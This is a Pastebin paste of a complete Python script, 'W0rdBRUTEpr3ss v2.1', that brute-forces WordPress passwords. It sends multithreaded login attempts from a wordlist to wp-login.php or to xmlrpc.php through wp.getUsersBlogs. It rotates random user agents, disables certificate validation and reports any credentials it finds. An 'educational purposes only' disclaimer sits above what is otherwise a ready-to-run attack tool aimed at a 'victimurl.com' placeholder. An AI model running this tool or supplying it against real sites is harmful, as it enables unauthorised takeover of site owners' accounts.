Advertisement
s4kur4

python wp brute

Feb 15th, 2017
499
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.62 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # WordPress Brute Force by Claudio Viviani
  4. #
  5. # Inspired by xSecurity's WordPress Brute Muliththreading
  6. #
  7. # Tested on Wordpress 3.x and 4.x
  8. #
  9. # Disclaimer:
  10. #
  11. # This tool is intended for educational purposes only and the author
  12. # can not be held liable for any kind of damages done whatsoever to your machine,
  13. # or damages caused by some other,creative application of this exploit.
  14. # In any case you disagree with the above statement,stop here.
  15. #
  16. # Requirements:
  17. #
  18. # 1) python's httplib2 lib
  19. # Installation: pip install httplib2
  20. #
  21. # Features:
  22. #
  23. # 1) Multithreading
  24. # 2) xml-rpc brute force mode
  25. # 3) http and https protocols support
  26. # 4) Random User Agent
  27. # 5) Big wordlist support
  28. #
  29. # CHANGELOG:
  30. #
  31. # 2015-11-20 v2.1
  32. # 1) Add new feature: Big wordlist support (thanks to guly @theguly)
  33. # 2) Fix faultcode check instead of "403" code for XML-RPC (thanks to guly @theguly)
  34. #
  35. # 2015-04-12 v2.0
  36. # 1) Add new feature xml-rpc brute force mode
  37. # 2) Fix minor bugs
  38. #
  39. # 2015-04-11 v1.1
  40. # 1) optparse (Deprecated since version 2.7) replaced by argparse
  41. # 2) Fix connection bugs
  42. #
  43. #
  44.  
  45. import urllib, httplib, httplib2
  46. import socket, sys, os, os.path, argparse, random
  47. from threading import Thread
  48. from time import sleep
  49.  
  50. banner = """
  51. ___ ___ __
  52. | Y .-----.----.--| .-----.----.-----.-----.-----.
  53. |. | | _ | _| _ | _ | _| -__|__ --|__ --|
  54. |. / \ |_____|__| |_____| __|__| |_____|_____|_____|
  55. |: | |__|
  56. |::.|:. |
  57. `--- ---'
  58. _______ __ _______
  59. | _ .----.--.--| |_.-----| _ .-----.----.----.-----.
  60. |. 1 | _| | | _| -__|. 1___| _ | _| __| -__|
  61. |. _ |__| |_____|____|_____|. __) |_____|__| |____|_____|
  62. |: 1 \ |: |
  63. |::.. . / |::.|
  64. `-------' `---'
  65.  
  66. W0rdBRUTEpr3ss v2.1
  67.  
  68. Written by:
  69.  
  70. Claudio Viviani
  71.  
  72. http://www.homelab.it
  73.  
  74. info@homelab.it
  75. homelabit@protonmail.ch
  76.  
  77. http://ffhd.homelab.it (Free Fuzzy Hashes Database)
  78. https://www.facebook.com/homelabit
  79. https://twitter.com/homelabit
  80. https://plus.google.com/+HomelabIt1/
  81. https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  82. """
  83. def randomAgentGen():
  84.  
  85. userAgent = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  86. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  87. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
  88. 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  89. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  90. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  91. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
  92. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  93. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  94. 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
  95. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  96. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0',
  97. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  98. 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  99. 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  100. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  101. 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  102. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  103. 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  104. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  105. 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  106. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  107. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  108. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  109. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
  110. 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  111. 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  112. 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  113. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  114. 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  115. 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
  116. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4',
  117. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2',
  118. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/538.46 (KHTML, like Gecko) Version/8.0 Safari/538.46',
  119. 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
  120. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  121. 'Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  122. 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  123. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  124. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
  125. 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
  126. 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  127. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
  128. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36',
  129. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
  130. 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  131. 'Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
  132. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  133. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  134. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  135. 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
  136. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
  137. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
  138. 'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  139. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
  140. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:31.0) Gecko/20100101 Firefox/31.0',
  141. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',
  142. 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  143. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:31.0) Gecko/20100101 Firefox/31.0',
  144. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  145. 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
  146. 'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  147. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  148. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  149. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  150. 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  151. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  152. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
  153. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  154. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:31.0) Gecko/20100101 Firefox/31.0',
  155. 'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',
  156. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36',
  157. 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  158. 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  159. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  160. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
  161. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
  162. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
  163. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']
  164.  
  165. UA = random.choice(userAgent)
  166. return UA
  167.  
  168. def urlCMS(url,brutemode):
  169. if url[:8] != "https://" and url[:7] != "http://":
  170. print('\n[X] You must insert http:// or https:// procotol')
  171. os._exit(1)
  172. # Page login
  173. if brutemode == "std":
  174. url = url+'/wp-login.php'
  175. else:
  176. url = url+'/xmlrpc.php'
  177. return url
  178.  
  179. def bodyCMS(username,pwd,brutemode):
  180. if brutemode == "std":
  181. body = { 'log':username,
  182. 'pwd':pwd,
  183. 'wp-submit':'Login',
  184. 'testcookie':'1' }
  185. else:
  186. body = """<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>wp.getUsersBlogs</methodName>
  187. <params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>""" % (username, pwd)
  188. return body
  189.  
  190.  
  191. def headersCMS(UA,lenbody,brutemode):
  192. if brutemode == "std":
  193. headers = { 'User-Agent': UA,
  194. 'Content-type': 'application/x-www-form-urlencoded',
  195. 'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }
  196. else:
  197. headers = { 'User-Agent': UA,
  198. 'Content-type': 'text/xml',
  199. 'Content-Length': "%d" % len(lenbody)}
  200. return headers
  201.  
  202. def responseCMS(response):
  203. if response['set-cookie'].split(" ")[-1] == "httponly":
  204. return "1"
  205.  
  206. def connection(url,user,password,UA,timeout,brutemode):
  207.  
  208. username = user
  209. pwd = password
  210.  
  211. http = httplib2.Http(timeout=timeout, disable_ssl_certificate_validation=True)
  212.  
  213. # HTTP POST Data
  214. body = bodyCMS(username,pwd,brutemode)
  215.  
  216. # Headers
  217. headers = headersCMS(UA,body,brutemode)
  218.  
  219. try:
  220.  
  221. if brutemode == "std":
  222. response, content = http.request(url, 'POST', headers=headers, body=urllib.urlencode(body))
  223.  
  224. if str(response.status)[0] == "4" or str(response.status)[0] == "5":
  225. print('[X] HTTP error, code: '+str(response.status))
  226. os._exit(1)
  227.  
  228. if responseCMS(response) == "1":
  229. print('\n')
  230. print('[!] Password FOUND!!!')
  231. print('')
  232. print('[!] Username: '+user+' Password: '+password)
  233. os._exit(0)
  234.  
  235. checkCon = "OK"
  236. return checkCon
  237. else:
  238. response, content = http.request(url, 'POST', headers=headers, body=body)
  239.  
  240. if str(response.status)[0] == "4" or str(response.status)[0] == "5":
  241. print('[X] HTTP error, code: '+str(response.status))
  242. os._exit(1)
  243.  
  244. # Remove all blank and newline chars
  245. xmlcontent = content.replace(" ", "").replace("\n","")
  246.  
  247. if not "faultCode" in xmlcontent:
  248. print('\n')
  249. print('[!] Password FOUND!!!')
  250. print('')
  251. print('[!] Username: '+user+' Password: '+password)
  252. os._exit(0)
  253.  
  254. checkCon = "OK"
  255. return checkCon
  256.  
  257. except socket.timeout:
  258. print('\n[X] Connection Timeout')
  259. os._exit(1)
  260. except socket.error:
  261. print('\n[X] Connection Refused')
  262. os._exit(1)
  263. except httplib.ResponseNotReady:
  264. print('\n[X] Server Not Responding')
  265. os._exit(1)
  266. except httplib2.ServerNotFoundError:
  267. print('\n[X] Server Not Found')
  268. os._exit(1)
  269. except httplib2.HttpLib2Error:
  270. print('\n[X] Connection Error!!')
  271. os._exit(1)
  272.  
  273.  
  274. def blocks(files, size=65536):
  275. while True:
  276. b = files.read(size)
  277. if not b: break
  278. yield b
  279.  
  280. commandList = argparse.ArgumentParser(sys.argv[0])
  281. commandList.add_argument('-S', '--standard',
  282. action="store_true",
  283. dest="standard",
  284. help="Standard login brute",
  285. )
  286. commandList.add_argument('-X', '--xml-rpc',
  287. action="store_true",
  288. dest="xml",
  289. help="Xml-rpc login brute",
  290. )
  291. commandList.add_argument('-t', '--target',
  292. action="store",
  293. dest="target",
  294. help="Insert URL: http[s]://www.victimurl.com[:port]",
  295. )
  296. commandList.add_argument('-u', '--username',
  297. action="store",
  298. dest="username",
  299. help="Insert username",
  300. )
  301. commandList.add_argument('-w', '--wordfilelist',
  302. action="store",
  303. dest="wordfilelist",
  304. help="Insert wordlist file",
  305. )
  306. commandList.add_argument('--timeout',
  307. action="store",
  308. dest="timeout",
  309. default=10,
  310. type=int,
  311. help="Timeout Value (Default 10s)",
  312. )
  313.  
  314. options = commandList.parse_args()
  315.  
  316. # Check bruteforce mode conflicts
  317. if options.standard and options.xml:
  318. print "\n[X] Select standard [-S] OR xml-rpc [-X] bruteforce mode"
  319. sys.exit(1)
  320.  
  321. # Check args
  322. if not options.standard and not options.xml:
  323. print(banner)
  324. print
  325. commandList.print_help()
  326. sys.exit(1)
  327. elif not options.target or not options.username or not options.wordfilelist:
  328. print(banner)
  329. print
  330. commandList.print_help()
  331. sys.exit(1)
  332.  
  333. # Set bruteforce mode
  334. if options.standard:
  335. brtmd="std"
  336. else:
  337. brtmd="xml"
  338.  
  339. # args to vars
  340. url = options.target
  341. user = options.username
  342. wlfile = options.wordfilelist
  343. timeout = options.timeout
  344.  
  345. # Check if Wordlist file exists and has readable
  346. if not os.path.isfile(wlfile) and not os.access(wlfile, os.R_OK):
  347. print "[X] Wordlist file is missing or is not readable"
  348. sys.exit(1)
  349.  
  350. # Gen Random UserAgent
  351. UA = randomAgentGen()
  352. # Url to url+login_cms_page
  353. url = urlCMS(url,brtmd)
  354.  
  355. wlsize = os.path.getsize(wlfile) >>20
  356. if wlsize < 100:
  357. with open(wlfile) as f:
  358. totalwordlist = sum(bl.count("\n") for bl in blocks(f))
  359. else:
  360. totalwordlist="unknown"
  361.  
  362. print(banner)
  363. print
  364. print('[+] Target.....: '+options.target)
  365. print('[+] Wordlist...: '+str(totalwordlist))
  366. print('[+] Username...: '+user)
  367. if brtmd == "std":
  368. print('[+] BruteMode..: Standard')
  369. else:
  370. print('[+] BruteMode..: Xml-Rpc')
  371. print('[+]')
  372. print('[+] Connecting.......')
  373. print('[+]')
  374.  
  375. # Check connection with fake-login
  376. if connection(url,user,UA,UA,timeout,brtmd) == "OK":
  377. print('[+] Connection established')
  378.  
  379. # Reset var for "progress bar"
  380. count = 0
  381.  
  382. threads = []
  383.  
  384. with open(wlfile) as wordlist:
  385. for pwd in wordlist:
  386. count += 1
  387. t = Thread(target=connection, args=(url,user,pwd,UA,timeout,brtmd))
  388. t.start()
  389. threads.append(t)
  390. sys.stdout.write('\r')
  391. sys.stdout.write('[+] Password checked: '+str(count)+'/'+str(totalwordlist))
  392. sys.stdout.flush()
  393. sleep(0.210)
  394.  
  395. for a in threads:
  396. a.join()
  397.  
  398. # no passwords found
  399. print('\n[X] Password NOT found :(')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement